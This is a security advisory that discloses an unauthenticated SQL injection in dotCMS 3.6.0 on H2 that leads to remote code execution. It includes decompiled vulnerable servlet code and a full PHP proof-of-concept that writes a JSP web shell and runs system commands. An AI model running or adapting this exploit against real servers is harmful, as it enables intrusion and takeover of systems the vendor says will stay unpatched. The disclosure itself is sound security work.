SSD Advisory – dotCMS H2 Database Remote Code Execution
Vulnerabilities Summary
The following advisory describes an SQL Injection in dotCMS 3.6.0 H2 Database that allows attackers to Remote Code Execution.
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
We contacted the vendor back in December 2016 and they responded with:
“H2 is not a production DB for us. It is just for testing and trying out dotCMS. We do not support it in production or on public servers”
Please note that since this vulnerability will not be fixed, default installations of dotCMS that don’t switch from H2 to some other database are vulnerable. In addition, the only warning found on the web site of dotCMS related to H2 is:
“Important: H2DB should NOT be used for a production in environment.”
Which doesn’t explain the lack of security due to dotCMS using an H2 database.
Vulnerability Details
dotCMS offers a Tomcat server with a preconfigured dotCms installation, the Tomcat server listens by default on public port 8080 (tcp/http) for incoming requests to the web panel.
Using an unauthenticated connection it is possible to visit the the’CategoriesServlet‘ servlet. The getCreateSortChildren() function of the ‘H2CategorySQL‘ class suffers of an SQL injection vulnerability into the ‘inode‘ parameter of a GET request, when the ‘reorder‘ parameter is set to ‘TRUE‘.
H2 allows stacked queries to be performed. In addition, the underlying H2 database offers the ‘SCRIPT TO
A remote attacker, could then create an arbitrary script into an accessible web path and execute arbitrary code/commands against the target server.
Vulnerable code
The vulnerable code can be found in:
1 2 3 4 5 6 7 8 9 10 11 12 | ... <servlet> <servlet–name>CategoriesServlet</servlet–name> <servlet–class>com.dotmarketing.servlets.JSONCategoriesServlet</servlet–class> </servlet> ... ... <servlet–mapping> <servlet–name>CategoriesServlet</servlet–name> <url–pattern>/categoriesServlet</url–pattern> </servlet–mapping> ... |
The servlet can be contacted without prior authentication.
com.dotmarketing.servlets.JSONCategoriesServlet decompiled class:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 | ... package com.dotmarketing.servlets; import com.dotcms.repackage.com.fasterxml.jackson.databind.DeserializationFeature; import com.dotcms.repackage.com.fasterxml.jackson.databind.ObjectMapper; import com.dotcms.repackage.org.apache.commons.lang.StringEscapeUtils; import com.dotmarketing.business.APILocator; import com.dotmarketing.business.web.UserWebAPI; import com.dotmarketing.business.web.WebAPILocator; import com.dotmarketing.exception.*; import com.dotmarketing.portlets.categories.business.CategoryAPI; import com.dotmarketing.portlets.categories.business.PaginatedCategories; import com.dotmarketing.portlets.categories.model.Category; import com.dotmarketing.util.UtilMethods; import com.dotmarketing.util.WebKeys; import com.liferay.portal.PortalException; import com.liferay.portal.SystemException; import com.liferay.portal.model.User; import java.io.IOException; import java.io.PrintWriter; import java.util.*; import javax.servlet.*; import javax.servlet.http.*; public class JSONCategoriesServlet extends HttpServlet implements Servlet { public JSONCategoriesServlet() { } public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { UserWebAPI uWebAPI; User user; /* 43*/ UtilMethods.removeBrowserCache(response); /* 45*/ uWebAPI = WebAPILocator.getUserWebAPI(); /* 46*/ user = null; String inode; String action; String q; String reorder; /* 50*/ user = uWebAPI.getLoggedInUser(request); /* 51*/ inode = request.getParameter(“inode”); <———————————————– /* 52*/ action = request.getParameter(“action”); /* 53*/ q = request.getParameter(“q”); /* 54*/ String permission = request.getParameter(“permission”); /* 55*/ reorder = request.getParameter(“reorder”); <—————————————————– /* 57*/ if(UtilMethods.isSet(permission)) { /* 58*/ loadPermission(inode, request, response); /* 59*/ return; } /* 62*/ q = StringEscapeUtils.unescapeJava(q); /* 63*/ inode = !UtilMethods.isSet(inode) || !inode.equals(“undefined”) ? inode : null; /* 64*/ q = !UtilMethods.isSet(q) || !q.equals(“undefined”) ? q : null; /* 66*/ if(UtilMethods.isSet(action) && action.equals(“export”)) { /* 67*/ exportCategories(request, response, inode, q); /* 68*/ return; } /* 71*/ try { /* 71*/ ObjectMapper mapper = new ObjectMapper(); /* 72*/ mapper.configure(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES, false); /* 74*/ CategoryAPI catAPI = APILocator.getCategoryAPI(); /* 75*/ int start = –1; /* 76*/ int count = –1; /* 77*/ String startStr = request.getParameter(“start”); /* 78*/ String countStr = request.getParameter(“count”); /* 79*/ String sort = request.getParameter(“sort”); /* 80*/ if(“-sort_order”.equals(sort)) /* 81*/ sort = “sort_order”; /* 83*/ if(UtilMethods.isSet(startStr) && UtilMethods.isSet(countStr)) { /* 84*/ start = Integer.parseInt(request.getParameter(“start”)); /* 85*/ count = Integer.parseInt(request.getParameter(“count”)); } /* 88*/ Boolean topLevelCats = Boolean.valueOf(!UtilMethods.isSet(inode)); /* 90*/ if(UtilMethods.isSet(reorder) && reorder.equalsIgnoreCase(“TRUE”)) /* 91*/ if(topLevelCats.booleanValue()) /* 92*/ catAPI.sortTopLevelCategories(); /* 94*/ else /* 94*/ catAPI.sortChildren(inode); <——————————————— /* 98*/ PaginatedCategories pagCategories = topLevelCats.booleanValue() ? catAPI.findTopLevelCategories(user, false, start, count, q, sort) : catAPI.findChildren(user, inode, false, start, count, q, sort); /* 101*/ List items = new ArrayList(); /* 102*/ List categories = pagCategories.getCategories(); /* 104*/ if(categories != null) { Map catMap; /* 105*/ for(Iterator iterator = categories.iterator(); iterator.hasNext(); items.add(catMap)) { /* 105*/ Category category = (Category)iterator.next(); /* 106*/ catMap = new HashMap(); /* 107*/ catMap.put(“inode”, category.getInode()); /* 108*/ catMap.put(“category_name”, category.getCategoryName()); /* 109*/ catMap.put(“category_key”, category.getKey()); /* 110*/ catMap.put(“category_velocity_var_name”, category.getCategoryVelocityVarName()); /* 111*/ catMap.put(“sort_order”, category.getSortOrder()); /* 112*/ catMap.put(“keywords”, category.getKeywords()); } } /* 117*/ Map m = new HashMap(); /* 118*/ m.put(“items”, items); /* 119*/ m.put(“numRows”, pagCategories.getTotalCount()); /* 120*/ String s = mapper.writeValueAsString(m); /* 121*/ response.setContentType(“text/plain”); /* 122*/ response.getWriter().write(s); /* 123*/ response.getWriter().flush(); /* 124*/ response.getWriter().close(); } /* 126*/ catch(DotDataException e) { /* 128*/ e.printStackTrace(); } /* 129*/ catch(DotSecurityException e) { /* 131*/ e.printStackTrace(); } /* 132*/ catch(DotRuntimeException e) { /* 134*/ e.printStackTrace(); } /* 135*/ catch(PortalException e) { /* 137*/ e.printStackTrace(); } /* 138*/ catch(SystemException e) { /* 140*/ e.printStackTrace(); } /* 141*/ catch(Exception e) { /* 143*/ e.printStackTrace(); } /* 145*/ return; } private void exportCategories(HttpServletRequest request, HttpServletResponse response, String contextInode, String filter) throws ServletException, IOException { ServletOutputStream out; UserWebAPI uWebAPI; /* 148*/ out = response.getOutputStream(); /* 149*/ response.setContentType(“application/octet-stream”); /* 150*/ response.setHeader(“Content-Disposition”, (new StringBuilder()).append(“attachment; filename=”categories_”).append(UtilMethods.dateToHTMLDate(new Date(), “M_d_yyyy”)).append(“.csv””).toString()); /* 152*/ uWebAPI = WebAPILocator.getUserWebAPI(); /* 153*/ User user = null; /* 156*/ User user = uWebAPI.getLoggedInUser(request); /* 157*/ CategoryAPI catAPI = APILocator.getCategoryAPI(); /* 158*/ List categories = UtilMethods.isSet(contextInode) ? catAPI.findChildren(user, contextInode, false, filter) : catAPI.findTopLevelCategories(user, false, filter); /* 161*/ if(!categories.isEmpty()) { /* 162*/ out.print(“”name”,”key”,”variable”,”sort””); /* 163*/ out.print(“rn”); /* 165*/ for(Iterator iterator = categories.iterator(); iterator.hasNext(); out.print(“rn”)) { /* 165*/ Category category = (Category)iterator.next(); /* 166*/ String catName = category.getCategoryName(); /* 167*/ String catKey = category.getKey(); /* 168*/ String catVar = category.getCategoryVelocityVarName(); /* 169*/ String catSort = Integer.toString(category.getSortOrder().intValue()); /* 170*/ catName = catName != null ? catName : “”; /* 171*/ catKey = catKey != null ? catKey : “”; /* 172*/ catVar = catVar != null ? catVar : “”; /* 173*/ catSort = catSort != null ? catSort : “”; /* 179*/ catName = (new StringBuilder()).append(“””).append(catName).append(“””).toString(); /* 180*/ catKey = (new StringBuilder()).append(“””).append(catKey).append(“””).toString(); /* 181*/ catVar = (new StringBuilder()).append(“””).append(catVar).append(“””).toString(); /* 183*/ out.print((new StringBuilder()).append(catName).append(“,”).append(catKey).append(“,”).append(catVar).append(“,”).append(catSort).toString()); } } else { /* 188*/ out.print(“There are no Categories to show”); /* 189*/ out.print(“rn”); } /* 195*/ out.flush(); /* 196*/ out.close(); /* 197*/ break MISSING_BLOCK_LABEL_470; Exception e; /* 192*/ e; /* 193*/ e.printStackTrace(); /* 195*/ out.flush(); /* 196*/ out.close(); /* 197*/ break MISSING_BLOCK_LABEL_470; Exception exception; /* 195*/ exception; /* 195*/ out.flush(); /* 196*/ out.close(); /* 196*/ throw exception; } private void loadPermission(String inode, HttpServletRequest request, HttpServletResponse response) throws Exception { /* 202*/ UserWebAPI uWebAPI = WebAPILocator.getUserWebAPI(); /* 203*/ User user = uWebAPI.getLoggedInUser(request); /* 204*/ CategoryAPI categoryAPI = APILocator.getCategoryAPI(); /* 205*/ Category cat = categoryAPI.find(inode, user, false); /* 206*/ request.setAttribute(“com.dotmarketing.permissions.permissionable_edit”, cat); /* 207*/ RequestDispatcher rd = request.getRequestDispatcher(“/html/portlet/ext/common/edit_permissions_tab_ajax.jsp”); /* 208*/ rd.include(request, response); } private static final long serialVersionUID = 1L; } ... |
At line 51, the ‘inode‘ parameter is received from a GET request;
At line 55, the ‘reorder‘ paramter is received, too;
At line 94, if ‘reorder‘ is set to TRUE, the sortChildren() function is called with the controlled ‘inode‘ parameter;
sortChildren() from the decompiled com.dotmarketing.portlets.categories.business.CategoryFactoryImpl class:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 | ... public void sortChildren(String inode) throws DotDataException { Statement s; Connection conn; ResultSet rs; /* 648*/ s = null; /* 649*/ conn = null; /* 650*/ rs = null; /* 652*/ CategorySQL catSQL = CategorySQL.getInstance(); /* 653*/ conn = DbConnectionFactory.getDataSource().getConnection(); /* 654*/ conn.setAutoCommit(false); /* 655*/ s = conn.createStatement(); /* 656*/ String sql = “”; /* 657*/ sql = catSQL.getCreateSortChildren(inode); <———————————————————– /* 658*/ s.executeUpdate(sql); <——————————————– /* 659*/ sql = catSQL.getUpdateSort(); /* 660*/ s.executeUpdate(sql); /* 661*/ sql = catSQL.getDropSort(); /* 662*/ s.executeUpdate(sql); /* 663*/ conn.commit(); /* 664*/ sql = catSQL.getSortedChildren(inode); /* 665*/ rs = s.executeQuery(sql); /* 667*/ do { /* 667*/ if(!rs.next()) /* 668*/ break; /* 668*/ Category cat = null; /* 670*/ try { /* 670*/ cat = (Category)HibernateUtil.load(com/dotmarketing/portlets/categories/model/Category, rs.getString(“inode”)); } /* 671*/ catch(DotHibernateException e) { /* 672*/ if(!(e.getCause() instanceof ObjectNotFoundException)) /* 673*/ throw e; } /* 675*/ if(cat != null) /* 677*/ try { /* 677*/ catCache.put(cat); } /* 678*/ catch(DotCacheException e) { /* 679*/ throw new DotDataException(e.getMessage(), e); } } while(true); SQLException e; /* 693*/ try { /* 693*/ rs.close(); /* 694*/ s.close(); /* 695*/ conn.close(); } // Misplaced declaration of an exception variable /* 696*/ catch(SQLException e) { /* 698*/ e.printStackTrace(); } /* 700*/ break MISSING_BLOCK_LABEL_321; /* 683*/ e; /* 685*/ try { /* 685*/ conn.rollback(); } /* 686*/ catch(SQLException e1) { /* 688*/ e1.printStackTrace(); } /* 690*/ e.printStackTrace(); /* 693*/ try { /* 693*/ rs.close(); /* 694*/ s.close(); /* 695*/ conn.close(); } // Misplaced declaration of an exception variable /* 696*/ catch(SQLException e) { /* 698*/ e.printStackTrace(); } /* 700*/ break MISSING_BLOCK_LABEL_321; Exception exception; /* 692*/ exception; /* 693*/ try { /* 693*/ rs.close(); /* 694*/ s.close(); /* 695*/ conn.close(); } /* 696*/ catch(SQLException e) { /* 698*/ e.printStackTrace(); } /* 699*/ throw exception; } ... |
At line 657, the ‘inode‘ parameter is passed to getCreateSortChildren();
At line 658, the returned ‘sql‘ string is executed;
com.dotmarketing.portlets.categories.business.CategorySQL :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | ... package com.dotmarketing.portlets.categories.business; import com.dotmarketing.db.DbConnectionFactory; // Referenced classes of package com.dotmarketing.portlets.categories.business: // MySQLCategorySQL, PostgresCategorySQL, MSSQLCategorySQL, OracleCategorySQL, // H2CategorySQL abstract class CategorySQL { CategorySQL() { } protected static CategorySQL getInstance() { /* 12*/ String x = DbConnectionFactory.getDBType(); /* 13*/ if(“MySQL”.equals(x)) /* 14*/ return new MySQLCategorySQL(); /* 15*/ if(“PostgreSQL”.equals(x)) /* 16*/ return new PostgresCategorySQL(); /* 17*/ if(“Microsoft SQL Server”.equals(x)) /* 18*/ return new MSSQLCategorySQL(); /* 19*/ if(“Oracle”.equals(x)) /* 20*/ return new OracleCategorySQL(); /* 22*/ else /* 22*/ return new H2CategorySQL(); <——————————————————————— } ... |
Decompiled com.dotmarketing.portlets.categories.business.H2CategorySQL class:
1 2 3 4 5 6 7 | ... public String getCreateSortChildren(String inode) { /* 23*/ return (new StringBuilder()).append(“create table category_reorder as SELECT rownum() rnum, * FROM (SELECT category.inode from inode category_1_, category, tree where category.inode = tree.child and tree.parent = ‘”).append(inode).append(“‘ and category_1_.inode = category.inode “).append(” and category_1_.type = ‘category’ order by sort_order) “).toString(); <—————————————————— } ... |
The ‘inode’ parameter is concatenated into a query without prior sanitization, arbitrary sql commands can be injected and the code allows multi-queries.
Proof of Concept
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 | <?php /* dotCMS 3.6.0 H2CategorySQL Class getCreateSortChildren() ‘inode’ Parameter SQL Injection / Remote Code Execution Vulnerability PoC (H2 Database) rgod */ error_reporting(0); $host = $argv[1]; $port = 8080; //$cmd = “id > out.txt”; //Linux $cmd = “whoami > out.txt”; //Windows $code=“CHAR(60)||’% String cmd; String[] cmdarr; String OS = System.getProperty(“os.name”);”. ” cmd = new String (request.getParameter(“cmd”)); if (OS.startsWith(“Windows”)) { “. ” cmdarr = new String [] {“cmd”, “/C”, cmd’||CHAR(125)||’;’||CHAR(125)||’ else {“. ” cmdarr = new String [] {“/bin/sh”, “-c”, cmd’||CHAR(125)||’;’||CHAR(125)||’ Process p = Runtime.getRuntime().exec(cmdarr);%’||CHAR(62)”; //original query: //create table category_reorder as SELECT rownum() rnum, * FROM (SELECT category.inode //from inode category_1_, category, tree where category.inode = tree.child //and tree.parent = ‘[‘SQL HERE]’ and category_1_.inode = category.inode and category_1_.type = ‘category’ //order by sort_order) $sql = “‘ AND 1=0);DROP TABLE IF EXISTS category_reorder; CREATE TABLE IF NOT EXISTS d(ID INT PRIMARY KEY,X VARCHAR(999));INSERT INTO d VALUES(1,”.$code.“);SCRIPT TO ‘xx.jsp’ TABLE d;DROP TABLE d;–“; $sql = urlencode($sql); $pk=“GET /categoriesServlet?reorder=TRUE&inode=”.$sql.” HTTP/1.0rn”. “Host: “.$host.“rn”. “Connection: Closernrn”; $fp = fsockopen($host,$port,$e,$err,5); fputs($fp,$pk); $out=“”; while (!feof($fp)){ $out.=fread($fp,1); } fclose($fp); echo $out; sleep(1); $pk=“GET /xx.jsp?cmd=”.urlencode($cmd).” HTTP/1.0rn”. “Host: “.$host.“rn”. “Connection: Closernrn”; $fp = fsockopen($host,$port,$e,$err,5); fputs($fp,$pk); $out=“”; while (!feof($fp)){ $out.=fread($fp,1); } fclose($fp); echo $out; sleep(1); $pk=“GET /out.txt HTTP/1.0rn”. “Host: “.$host.“rn”. “Connection: Closernrn”; $fp = fsockopen($host,$port,$e,$err,5); fputs($fp,$pk); $out=“”; while (!feof($fp)){ $out.=fread($fp,1); } fclose($fp); echo $out; ?> |